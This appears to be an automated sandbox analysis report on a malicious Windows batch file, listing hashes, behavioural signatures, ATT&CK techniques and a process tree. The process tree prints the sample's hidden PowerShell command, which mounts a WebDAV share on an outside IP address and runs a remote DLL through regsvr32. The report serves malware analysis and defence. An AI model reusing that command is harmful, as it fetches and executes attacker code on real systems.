18f1bd8f785304935f165223481adaacbee21a85f294ced9aa8d4aa53f23177d

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19-07-2024 03:32

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General

Target

9a6242ef5182a2d4fb5827d12443ca9456c7279a64ebf570a9f9c821e26518db.bat
Size

16KB
MD5

ce0ac37cf9c24a5a5527149f1e34e2a0
SHA1

a4d0fd98848dc2c796c5a31658dc99b589fa26b3
SHA256

9a6242ef5182a2d4fb5827d12443ca9456c7279a64ebf570a9f9c821e26518db
SHA512

172de7b43cee00e9234178ae84f9f3240cc14191a9837eda5d631609e7e286635ed29ab81805dfc929bfb847b3381e73de691fb9bb5db01da7b338516fe7513f
SSDEEP

384:Xz9qBHwPuI0miD120Tt0WxKJPmmCzTw+uXFktL:XzgovK0WcJPmHzy4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3976	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3976	powershell.exe
3976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3976	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1588	wordpad.exe
1588	wordpad.exe
1588	wordpad.exe
1588	wordpad.exe
1588	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 1588	1304	cmd.exe	85
PID 1304 wrote to memory of 1588	1304	cmd.exe	85
PID 1304 wrote to memory of 3976	1304	cmd.exe	87
PID 1304 wrote to memory of 3976	1304	cmd.exe	87
PID 3976 wrote to memory of 212	3976	powershell.exe	89
PID 3976 wrote to memory of 212	3976	powershell.exe	89
PID 3976 wrote to memory of 4964	3976	powershell.exe	90
PID 3976 wrote to memory of 4964	3976	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9a6242ef5182a2d4fb5827d12443ca9456c7279a64ebf570a9f9c821e26518db.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\41641989930996.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:212
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\41641989930996.dll
    3⤵
    PID:4964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zhqynram.h0m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3976-0-0x00000127FF7A0000-0x00000127FF7C2000-memory.dmp

Filesize
136KB

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